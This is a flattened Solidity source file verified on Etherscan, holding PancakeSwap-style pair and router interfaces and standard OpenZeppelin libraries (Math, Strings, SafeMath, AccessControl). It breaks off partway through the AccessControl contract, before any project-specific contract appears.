creation_sourcecode: /**
   *Submitted for verification at Etherscan.io on 2023-06-14
  */
  
  // SPDX-License-Identifier: GPL-3.0
  
  pragma solidity ^0.8.4;
  
  interface IPancakePair {
      event Approval(address indexed owner, address indexed spender, uint value);
      event Transfer(address indexed from, address indexed to, uint value);
  
      function name() external pure returns (string memory);
      function symbol() external pure returns (string memory);
      function decimals() external pure returns (uint8);
      function totalSupply() external view returns (uint);
      function balanceOf(address owner) external view returns (uint);
      function allowance(address owner, address spender) external view returns (uint);
  
      function approve(address spender, uint value) external returns (bool);
      function transfer(address to, uint value) external returns (bool);
      function transferFrom(address from, address to, uint value) external returns (bool);
  
      function DOMAIN_SEPARATOR() external view returns (bytes32);
      function PERMIT_TYPEHASH() external pure returns (bytes32);
      function nonces(address owner) external view returns (uint);
  
      function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
  
      event Mint(address indexed sender, uint amount0, uint amount1);
      event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
      event Swap(
          address indexed sender,
          uint amount0In,
          uint amount1In,
          uint amount0Out,
          uint amount1Out,
          address indexed to
      );
      event Sync(uint112 reserve0, uint112 reserve1);
  
      function MINIMUM_LIQUIDITY() external pure returns (uint);
      function factory() external view returns (address);
      function token0() external view returns (address);
      function token1() external view returns (address);
      function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
      function price0CumulativeLast() external view returns (uint);
      function price1CumulativeLast() external view returns (uint);
      function kLast() external view returns (uint);
  
      function mint(address to) external returns (uint liquidity);
      function burn(address to) external returns (uint amount0, uint amount1);
      function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
      function skim(address to) external;
      function sync() external;
  
      function initialize(address, address) external;
  }
  // File: ISwapFactory.sol
  
  
  pragma solidity ^0.8.4;
  
  interface ISwapFactory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
      function getPair(address tokenA, address tokenB) external returns (address pair);
  }
  // File: ISwapRouter.sol
  
  
  pragma solidity ^0.8.4;
  
  interface ISwapRouter {
      
      function factoryV2() external pure returns (address);
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
      
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to
      ) external;
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      
      function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
      function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
      function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
      
  }
  // File: @openzeppelin/contracts/utils/introspection/IERC165.sol
  
  
  // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Interface of the ERC165 standard, as defined in the
   * https://eips.ethereum.org/EIPS/eip-165[EIP].
   *
   * Implementers can declare support of contract interfaces, which can then be
   * queried by others ({ERC165Checker}).
   *
   * For an implementation, see {ERC165}.
   */
  interface IERC165 {
      /**
       * @dev Returns true if this contract implements the interface defined by
       * `interfaceId`. See the corresponding
       * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
       * to learn more about how these ids are created.
       *
       * This function call must use less than 30 000 gas.
       */
      function supportsInterface(bytes4 interfaceId) external view returns (bool);
  }
  
  // File: @openzeppelin/contracts/utils/introspection/ERC165.sol
  
  
  // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
  
  pragma solidity ^0.8.0;
  
  
  /**
   * @dev Implementation of the {IERC165} interface.
   *
   * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
   * for the additional interface id that will be supported. For example:
   *
   * ```solidity
   * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
   *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
   * }
   * ```
   *
   * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
   */
  abstract contract ERC165 is IERC165 {
      /**
       * @dev See {IERC165-supportsInterface}.
       */
      function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
          return interfaceId == type(IERC165).interfaceId;
      }
  }
  
  // File: @openzeppelin/contracts/utils/math/SignedMath.sol
  
  
  // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Standard signed math utilities missing in the Solidity language.
   */
  library SignedMath {
      /**
       * @dev Returns the largest of two signed numbers.
       */
      function max(int256 a, int256 b) internal pure returns (int256) {
          return a > b ? a : b;
      }
  
      /**
       * @dev Returns the smallest of two signed numbers.
       */
      function min(int256 a, int256 b) internal pure returns (int256) {
          return a < b ? a : b;
      }
  
      /**
       * @dev Returns the average of two signed numbers without overflow.
       * The result is rounded towards zero.
       */
      function average(int256 a, int256 b) internal pure returns (int256) {
          // Formula from the book "Hacker's Delight"
          int256 x = (a & b) + ((a ^ b) >> 1);
          return x + (int256(uint256(x) >> 255) & (a ^ b));
      }
  
      /**
       * @dev Returns the absolute unsigned value of a signed value.
       */
      function abs(int256 n) internal pure returns (uint256) {
          unchecked {
              // must be unchecked in order to support `n = type(int256).min`
              return uint256(n >= 0 ? n : -n);
          }
      }
  }
  
  // File: @openzeppelin/contracts/utils/math/Math.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Standard math utilities missing in the Solidity language.
   */
  library Math {
      enum Rounding {
          Down, // Toward negative infinity
          Up, // Toward infinity
          Zero // Toward zero
      }
  
      /**
       * @dev Returns the largest of two numbers.
       */
      function max(uint256 a, uint256 b) internal pure returns (uint256) {
          return a > b ? a : b;
      }
  
      /**
       * @dev Returns the smallest of two numbers.
       */
      function min(uint256 a, uint256 b) internal pure returns (uint256) {
          return a < b ? a : b;
      }
  
      /**
       * @dev Returns the average of two numbers. The result is rounded towards
       * zero.
       */
      function average(uint256 a, uint256 b) internal pure returns (uint256) {
          // (a + b) / 2 can overflow.
          return (a & b) + (a ^ b) / 2;
      }
  
      /**
       * @dev Returns the ceiling of the division of two numbers.
       *
       * This differs from standard division with `/` in that it rounds up instead
       * of rounding down.
       */
      function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
          // (a + b - 1) / b can overflow on addition, so we distribute.
          return a == 0 ? 0 : (a - 1) / b + 1;
      }
  
      /**
       * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
       * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
       * with further edits by Uniswap Labs also under MIT license.
       */
      function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
          unchecked {
              // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
              // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
              // variables such that product = prod1 * 2^256 + prod0.
              uint256 prod0; // Least significant 256 bits of the product
              uint256 prod1; // Most significant 256 bits of the product
              assembly {
                  let mm := mulmod(x, y, not(0))
                  prod0 := mul(x, y)
                  prod1 := sub(sub(mm, prod0), lt(mm, prod0))
              }
  
              // Handle non-overflow cases, 256 by 256 division.
              if (prod1 == 0) {
                  // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                  // The surrounding unchecked block does not change this fact.
                  // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                  return prod0 / denominator;
              }
  
              // Make sure the result is less than 2^256. Also prevents denominator == 0.
              require(denominator > prod1, "Math: mulDiv overflow");
  
              ///////////////////////////////////////////////
              // 512 by 256 division.
              ///////////////////////////////////////////////
  
              // Make division exact by subtracting the remainder from [prod1 prod0].
              uint256 remainder;
              assembly {
                  // Compute remainder using mulmod.
                  remainder := mulmod(x, y, denominator)
  
                  // Subtract 256 bit number from 512 bit number.
                  prod1 := sub(prod1, gt(remainder, prod0))
                  prod0 := sub(prod0, remainder)
              }
  
              // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
              // See https://cs.stackexchange.com/q/138556/92363.
  
              // Does not overflow because the denominator cannot be zero at this stage in the function.
              uint256 twos = denominator & (~denominator + 1);
              assembly {
                  // Divide denominator by twos.
                  denominator := div(denominator, twos)
  
                  // Divide [prod1 prod0] by twos.
                  prod0 := div(prod0, twos)
  
                  // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                  twos := add(div(sub(0, twos), twos), 1)
              }
  
              // Shift in bits from prod1 into prod0.
              prod0 |= prod1 * twos;
  
              // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
              // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
              // four bits. That is, denominator * inv = 1 mod 2^4.
              uint256 inverse = (3 * denominator) ^ 2;
  
              // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
              // in modular arithmetic, doubling the correct bits in each step.
              inverse *= 2 - denominator * inverse; // inverse mod 2^8
              inverse *= 2 - denominator * inverse; // inverse mod 2^16
              inverse *= 2 - denominator * inverse; // inverse mod 2^32
              inverse *= 2 - denominator * inverse; // inverse mod 2^64
              inverse *= 2 - denominator * inverse; // inverse mod 2^128
              inverse *= 2 - denominator * inverse; // inverse mod 2^256
  
              // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
              // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
              // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
              // is no longer required.
              result = prod0 * inverse;
              return result;
          }
      }
  
      /**
       * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
       */
      function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
          uint256 result = mulDiv(x, y, denominator);
          if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
              result += 1;
          }
          return result;
      }
  
      /**
       * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
       *
       * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
       */
      function sqrt(uint256 a) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
  
          // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
          //
          // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
          // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
          //
          // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
          // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
          // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
          //
          // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
          uint256 result = 1 << (log2(a) >> 1);
  
          // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
          // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
          // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
          // into the expected uint128 result.
          unchecked {
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              result = (result + a / result) >> 1;
              return min(result, a / result);
          }
      }
  
      /**
       * @notice Calculates sqrt(a), following the selected rounding direction.
       */
      function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
          unchecked {
              uint256 result = sqrt(a);
              return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
          }
      }
  
      /**
       * @dev Return the log in base 2, rounded down, of a positive value.
       * Returns 0 if given 0.
       */
      function log2(uint256 value) internal pure returns (uint256) {
          uint256 result = 0;
          unchecked {
              if (value >> 128 > 0) {
                  value >>= 128;
                  result += 128;
              }
              if (value >> 64 > 0) {
                  value >>= 64;
                  result += 64;
              }
              if (value >> 32 > 0) {
                  value >>= 32;
                  result += 32;
              }
              if (value >> 16 > 0) {
                  value >>= 16;
                  result += 16;
              }
              if (value >> 8 > 0) {
                  value >>= 8;
                  result += 8;
              }
              if (value >> 4 > 0) {
                  value >>= 4;
                  result += 4;
              }
              if (value >> 2 > 0) {
                  value >>= 2;
                  result += 2;
              }
              if (value >> 1 > 0) {
                  result += 1;
              }
          }
          return result;
      }
  
      /**
       * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
       * Returns 0 if given 0.
       */
      function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
          unchecked {
              uint256 result = log2(value);
              return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
          }
      }
  
      /**
       * @dev Return the log in base 10, rounded down, of a positive value.
       * Returns 0 if given 0.
       */
      function log10(uint256 value) internal pure returns (uint256) {
          uint256 result = 0;
          unchecked {
              if (value >= 10 ** 64) {
                  value /= 10 ** 64;
                  result += 64;
              }
              if (value >= 10 ** 32) {
                  value /= 10 ** 32;
                  result += 32;
              }
              if (value >= 10 ** 16) {
                  value /= 10 ** 16;
                  result += 16;
              }
              if (value >= 10 ** 8) {
                  value /= 10 ** 8;
                  result += 8;
              }
              if (value >= 10 ** 4) {
                  value /= 10 ** 4;
                  result += 4;
              }
              if (value >= 10 ** 2) {
                  value /= 10 ** 2;
                  result += 2;
              }
              if (value >= 10 ** 1) {
                  result += 1;
              }
          }
          return result;
      }
  
      /**
       * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
       * Returns 0 if given 0.
       */
      function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
          unchecked {
              uint256 result = log10(value);
              return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
          }
      }
  
      /**
       * @dev Return the log in base 256, rounded down, of a positive value.
       * Returns 0 if given 0.
       *
       * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
       */
      function log256(uint256 value) internal pure returns (uint256) {
          uint256 result = 0;
          unchecked {
              if (value >> 128 > 0) {
                  value >>= 128;
                  result += 16;
              }
              if (value >> 64 > 0) {
                  value >>= 64;
                  result += 8;
              }
              if (value >> 32 > 0) {
                  value >>= 32;
                  result += 4;
              }
              if (value >> 16 > 0) {
                  value >>= 16;
                  result += 2;
              }
              if (value >> 8 > 0) {
                  result += 1;
              }
          }
          return result;
      }
  
      /**
       * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
       * Returns 0 if given 0.
       */
      function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
          unchecked {
              uint256 result = log256(value);
              return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
          }
      }
  }
  
  // File: @openzeppelin/contracts/utils/Strings.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)
  
  pragma solidity ^0.8.0;
  
  
  
  /**
   * @dev String operations.
   */
  library Strings {
      bytes16 private constant _SYMBOLS = "0123456789abcdef";
      uint8 private constant _ADDRESS_LENGTH = 20;
  
      /**
       * @dev Converts a `uint256` to its ASCII `string` decimal representation.
       */
      function toString(uint256 value) internal pure returns (string memory) {
          unchecked {
              uint256 length = Math.log10(value) + 1;
              string memory buffer = new string(length);
              uint256 ptr;
              /// @solidity memory-safe-assembly
              assembly {
                  ptr := add(buffer, add(32, length))
              }
              while (true) {
                  ptr--;
                  /// @solidity memory-safe-assembly
                  assembly {
                      mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                  }
                  value /= 10;
                  if (value == 0) break;
              }
              return buffer;
          }
      }
  
      /**
       * @dev Converts a `int256` to its ASCII `string` decimal representation.
       */
      function toString(int256 value) internal pure returns (string memory) {
          return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
      }
  
      /**
       * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
       */
      function toHexString(uint256 value) internal pure returns (string memory) {
          unchecked {
              return toHexString(value, Math.log256(value) + 1);
          }
      }
  
      /**
       * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
       */
      function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
          bytes memory buffer = new bytes(2 * length + 2);
          buffer[0] = "0";
          buffer[1] = "x";
          for (uint256 i = 2 * length + 1; i > 1; --i) {
              buffer[i] = _SYMBOLS[value & 0xf];
              value >>= 4;
          }
          require(value == 0, "Strings: hex length insufficient");
          return string(buffer);
      }
  
      /**
       * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
       */
      function toHexString(address addr) internal pure returns (string memory) {
          return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
      }
  
      /**
       * @dev Returns true if the two strings are equal.
       */
      function equal(string memory a, string memory b) internal pure returns (bool) {
          return keccak256(bytes(a)) == keccak256(bytes(b));
      }
  }
  
  // File: @openzeppelin/contracts/access/IAccessControl.sol
  
  
  // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev External interface of AccessControl declared to support ERC165 detection.
   */
  interface IAccessControl {
      /**
       * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
       *
       * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
       * {RoleAdminChanged} not being emitted signaling this.
       *
       * _Available since v3.1._
       */
      event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
  
      /**
       * @dev Emitted when `account` is granted `role`.
       *
       * `sender` is the account that originated the contract call, an admin role
       * bearer except when using {AccessControl-_setupRole}.
       */
      event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
  
      /**
       * @dev Emitted when `account` is revoked `role`.
       *
       * `sender` is the account that originated the contract call:
       *   - if using `revokeRole`, it is the admin role bearer
       *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
       */
      event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
  
      /**
       * @dev Returns `true` if `account` has been granted `role`.
       */
      function hasRole(bytes32 role, address account) external view returns (bool);
  
      /**
       * @dev Returns the admin role that controls `role`. See {grantRole} and
       * {revokeRole}.
       *
       * To change a role's admin, use {AccessControl-_setRoleAdmin}.
       */
      function getRoleAdmin(bytes32 role) external view returns (bytes32);
  
      /**
       * @dev Grants `role` to `account`.
       *
       * If `account` had not been already granted `role`, emits a {RoleGranted}
       * event.
       *
       * Requirements:
       *
       * - the caller must have ``role``'s admin role.
       */
      function grantRole(bytes32 role, address account) external;
  
      /**
       * @dev Revokes `role` from `account`.
       *
       * If `account` had been granted `role`, emits a {RoleRevoked} event.
       *
       * Requirements:
       *
       * - the caller must have ``role``'s admin role.
       */
      function revokeRole(bytes32 role, address account) external;
  
      /**
       * @dev Revokes `role` from the calling account.
       *
       * Roles are often managed via {grantRole} and {revokeRole}: this function's
       * purpose is to provide a mechanism for accounts to lose their privileges
       * if they are compromised (such as when a trusted device is misplaced).
       *
       * If the calling account had been granted `role`, emits a {RoleRevoked}
       * event.
       *
       * Requirements:
       *
       * - the caller must be `account`.
       */
      function renounceRole(bytes32 role, address account) external;
  }
  
  // File: @openzeppelin/contracts/utils/math/SafeMath.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
  
  pragma solidity ^0.8.0;
  
  // CAUTION
  // This version of SafeMath should only be used with Solidity 0.8 or later,
  // because it relies on the compiler's built in overflow checks.
  
  /**
   * @dev Wrappers over Solidity's arithmetic operations.
   *
   * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
   * now has built in overflow checking.
   */
  library SafeMath {
      /**
       * @dev Returns the addition of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              uint256 c = a + b;
              if (c < a) return (false, 0);
              return (true, c);
          }
      }
  
      /**
       * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b > a) return (false, 0);
              return (true, a - b);
          }
      }
  
      /**
       * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
       *
       * _Available since v3.4._
       */
      function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
              // benefit is lost if 'b' is also tested.
              // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
              if (a == 0) return (true, 0);
              uint256 c = a * b;
              if (c / a != b) return (false, 0);
              return (true, c);
          }
      }
  
      /**
       * @dev Returns the division of two unsigned integers, with a division by zero flag.
       *
       * _Available since v3.4._
       */
      function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a / b);
          }
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
       *
       * _Available since v3.4._
       */
      function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a % b);
          }
      }
  
      /**
       * @dev Returns the addition of two unsigned integers, reverting on
       * overflow.
       *
       * Counterpart to Solidity's `+` operator.
       *
       * Requirements:
       *
       * - Addition cannot overflow.
       */
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          return a + b;
      }
  
      /**
       * @dev Returns the subtraction of two unsigned integers, reverting on
       * overflow (when the result is negative).
       *
       * Counterpart to Solidity's `-` operator.
       *
       * Requirements:
       *
       * - Subtraction cannot overflow.
       */
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return a - b;
      }
  
      /**
       * @dev Returns the multiplication of two unsigned integers, reverting on
       * overflow.
       *
       * Counterpart to Solidity's `*` operator.
       *
       * Requirements:
       *
       * - Multiplication cannot overflow.
       */
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          return a * b;
      }
  
      /**
       * @dev Returns the integer division of two unsigned integers, reverting on
       * division by zero. The result is rounded towards zero.
       *
       * Counterpart to Solidity's `/` operator.
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return a / b;
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
       * reverting when dividing by zero.
       *
       * Counterpart to Solidity's `%` operator. This function uses a `revert`
       * opcode (which leaves remaining gas untouched) while Solidity uses an
       * invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          return a % b;
      }
  
      /**
       * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
       * overflow (when the result is negative).
       *
       * CAUTION: This function is deprecated because it requires allocating memory for the error
       * message unnecessarily. For custom revert reasons use {trySub}.
       *
       * Counterpart to Solidity's `-` operator.
       *
       * Requirements:
       *
       * - Subtraction cannot overflow.
       */
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          unchecked {
              require(b <= a, errorMessage);
              return a - b;
          }
      }
  
      /**
       * @dev Returns the integer division of two unsigned integers, reverting with custom message on
       * division by zero. The result is rounded towards zero.
       *
       * Counterpart to Solidity's `/` operator. Note: this function uses a
       * `revert` opcode (which leaves remaining gas untouched) while Solidity
       * uses an invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a / b;
          }
      }
  
      /**
       * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
       * reverting with custom message when dividing by zero.
       *
       * CAUTION: This function is deprecated because it requires allocating memory for the error
       * message unnecessarily. For custom revert reasons use {tryMod}.
       *
       * Counterpart to Solidity's `%` operator. This function uses a `revert`
       * opcode (which leaves remaining gas untouched) while Solidity uses an
       * invalid opcode to revert (consuming all remaining gas).
       *
       * Requirements:
       *
       * - The divisor cannot be zero.
       */
      function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a % b;
          }
      }
  }
  
  // File: @openzeppelin/contracts/utils/Context.sol
  
  
  // OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
  
  pragma solidity ^0.8.0;
  
  /**
   * @dev Provides information about the current execution context, including the
   * sender of the transaction and its data. While these are generally available
   * via msg.sender and msg.data, they should not be accessed in such a direct
   * manner, since when dealing with meta-transactions the account sending and
   * paying for execution may not be the actual sender (as far as an application
   * is concerned).
   *
   * This contract is only required for intermediate, library-like contracts.
   */
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  // File: @openzeppelin/contracts/access/AccessControl.sol
  
  
  // OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol)
  
  pragma solidity ^0.8.0;
  
  
  
  
  
  /**
   * @dev Contract module that allows children to implement role-based access
   * control mechanisms. This is a lightweight version that doesn't allow enumerating role
   * members except through off-chain means by accessing the contract event logs. Some
   * applications may benefit from on-chain enumerability, for those cases see
   * {AccessControlEnumerable}.
   *
   * Roles are referred to by their `bytes32` identifier. These should be exposed
   * in the external API and be unique. The best way to achieve this is by
   * using `public constant` hash digests:
   *
   * ```solidity
   * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
   * ```
   *
   * Roles can be used to represent a set of permissions. To restrict access to a
   * function call, use {hasRole}:
   *
   * ```solidity
   * function foo() public {
   *     require(hasRole(MY_ROLE, msg.sender));
   *     ...
   * }
   * ```
   *
   * Roles can be granted and revoked dynamically via the {grantRole} and
   * {revokeRole} functions. Each role has an associated admin role, and only
   * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
   *
   * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
   * that only accounts with this role will be able to grant or revoke other
   * roles. More complex role relationships can be created by using
   * {_setRoleAdmin}.
   *
   * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
   * grant and revoke this role. Extra precautions should be taken to secure
   * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}
   * to enforce additional security measures for this role.
   */
  abstract contract AccessControl is Context, IAccessControl, ERC165 {
      struct RoleData {
          mapping(address => bool) members;
          bytes32 adminRole;
      }
  
      mapping(bytes32 => RoleData) private _roles;
  
      bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
  
      /**
       * @dev Modifier that checks that an account has a specific role. Reverts
       * with a standardized message including the required role.
       *
       * The format of the revert reason is given by the following regular expression:
       *
       *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
       *
       * _Available since v4.1._
       */
      modifier onlyRole(bytes32 role) {
          _checkRole(role);
          _;
      }
  
      /**
       * @dev See {IERC165-supportsInterface}.
       */
      function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
          return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
      }
  
      /**
       * @dev Returns `true` if `account` has been granted `role`.
       */
      function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
          return _roles[role].members[account];
      }
  
      /**
       * @dev Revert with a standard message if `_msgSender()` is missing `role`.
       * Overriding this function changes the behavior of the {onlyRole} modifier.
       *
       * Format of the revert message is described in {_checkRole}.
       *
       * _Available since v4.6._
       */
      function _checkRole(bytes32 role) internal view virtual {
          _checkRole(role, _msgSender());
      }
  
      /**
       * @dev Revert with a standard message if `account` is missing `role`.
       *
       * The format of the revert reason is given by the following regular expression:
       *
       *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
       */
      function _checkRole(bytes32 role, address account) internal view virtual {
          if (!hasRole(role, account)) {
              revert(
                  string(
                      abi.encodePacked(
                          "AccessControl: account ",
                          Strings.toHexString(account),
                          " is missing role ",
                          Strings.toHexString(uint256(role), 32)
                      )
                  )
              );
          }
      }
  
      /**
       * @dev Returns the admin role that controls `role`. See {grantRole} and
       * {revokeRole}.
       *
       * To change a role's admin, use {_setRoleAdmin}.
       */
      function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
          return _roles[role].adminRole;
      }
  
      /**
       * @dev Grants `role` to `account`.
       *
       * If `account` had not been already granted `role`, emits a {RoleGranted}
       * event.
       *
       * Requirements:
       *
       * - the caller must have ``role``'s admin role.
       *
       * May emit a {RoleGranted} event.
       */
      function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
          _grantRole(role, account);
      }
  
      /**
       * @dev Revokes `role` from `account`.
       *
       * If `account` had been granted `role`, emits a {RoleRevoked} event.
       *
       * Requirements:
       *
       * - the caller must have ``role``'s admin role.
       *
       * May emit a {RoleRevoked} event.
       */
